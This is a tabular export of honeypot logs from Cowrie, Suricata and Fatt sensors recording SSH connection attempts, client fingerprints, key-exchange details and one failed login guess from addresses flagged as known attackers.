34244	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:59:39.633756+03	2021-09-20 15:00:06.884059+03	{"_id": "UAYTA3wBvYTbRNuEeVRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:42750 (192.168.176.2:22) [session: e53003ea71ff]", "session": "e53003ea71ff", "@version": "1", "protocol": "ssh", "src_port": 42750, "dest_port": 22, "timestamp": "2021-09-20T11:59:39.633756Z", "@timestamp": "2021-09-20T11:59:39.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34245	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:59:24.000799+03	2021-09-20 15:00:06.88506+03	{"_id": "hAYTA3wBvYTbRNuErVRL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 5, "pkts_toserver": 4, "bytes_toclient": 332, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 817901214646985, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 53764, "timestamp": "2021-09-20T11:59:24.000799Z", "@timestamp": "2021-09-20T11:59:24.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34246	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:53.412157+03	2021-09-20 15:00:06.88606+03	{"_id": "hgYTA3wBvYTbRNuErlRS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34194, "timestamp": "2021-09-20T11:59:53.412157", "@timestamp": "2021-09-20T11:59:53.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34248	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:59:55.917145+03	2021-09-20 15:00:06.889059+03	{"_id": "lwYTA3wBvYTbRNuEt1Tb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:35858 (192.168.176.2:22) [session: 759c89d58a82]", "session": "759c89d58a82", "@version": "1", "protocol": "ssh", "src_port": 35858, "dest_port": 22, "timestamp": "2021-09-20T11:59:55.917145Z", "@timestamp": "2021-09-20T11:59:55.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34249	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:57.190052+03	2021-09-20 15:00:06.891059+03	{"_id": "pwYTA3wBvYTbRNuEu1TD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d99213aaa37f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:57.190052Z", "@timestamp": "2021-09-20T11:59:57.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34250	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:53.683969+03	2021-09-20 15:00:06.892059+03	{"_id": "jAYTA3wBvYTbRNuEsFQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T11:59:53.683969Z", "@timestamp": "2021-09-20T11:59:53.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34251	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:59:53.683706+03	2021-09-20 15:00:06.89406+03	{"_id": "jwYTA3wBvYTbRNuEsVQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:53.136910+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 732147903698638, "payload": "AAADzAYUCaiGgqKMJkn6igMbKu5qvgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34194, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:53.683706Z", "@timestamp": "2021-09-20T11:59:53.683Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............&I....*.j....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34252	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:59:53.683706+03	2021-09-20 15:00:06.89506+03	{"_id": "kQYTA3wBvYTbRNuEslQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:59:53.683706", "@timestamp": "2021-09-20T11:59:53.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34253	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:59:56.094124+03	2021-09-20 15:00:06.89606+03	{"_id": "mgYTA3wBvYTbRNuEt1Tb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "759c89d58a82", "@version": "1", "timestamp": "2021-09-20T11:59:56.094124Z", "@timestamp": "2021-09-20T11:59:56.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34254	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:59:56.089671+03	2021-09-20 15:00:06.898059+03	{"_id": "mwYTA3wBvYTbRNuEuVQG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 334335147991714, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35858, "dest_port": 22, "timestamp": "2021-09-20T11:59:56.089671Z", "@timestamp": "2021-09-20T11:59:56.089Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34255	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:59:56.093494+03	2021-09-20 15:00:06.899059+03	{"_id": "nwYTA3wBvYTbRNuEulQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35858, "dest_port": 22, "timestamp": "2021-09-20T11:59:56.093494", "@timestamp": "2021-09-20T11:59:56.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34256	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:59:56.864848+03	2021-09-20 15:00:06.900059+03	{"_id": "pgYTA3wBvYTbRNuEu1TD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [test/wasd] failed", "session": "759c89d58a82", "@version": "1", "password": "wasd", "username": "test", "timestamp": "2021-09-20T11:59:56.864848Z", "@timestamp": "2021-09-20T11:59:56.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34257	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:53.408287+03	2021-09-20 15:00:06.90106+03	{"_id": "jgYTA3wBvYTbRNuEsFQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:34194 (192.168.176.2:22) [session: 318d499fe0dd]", "session": "318d499fe0dd", "@version": "1", "protocol": "ssh", "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:59:53.408287Z", "@timestamp": "2021-09-20T11:59:53.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
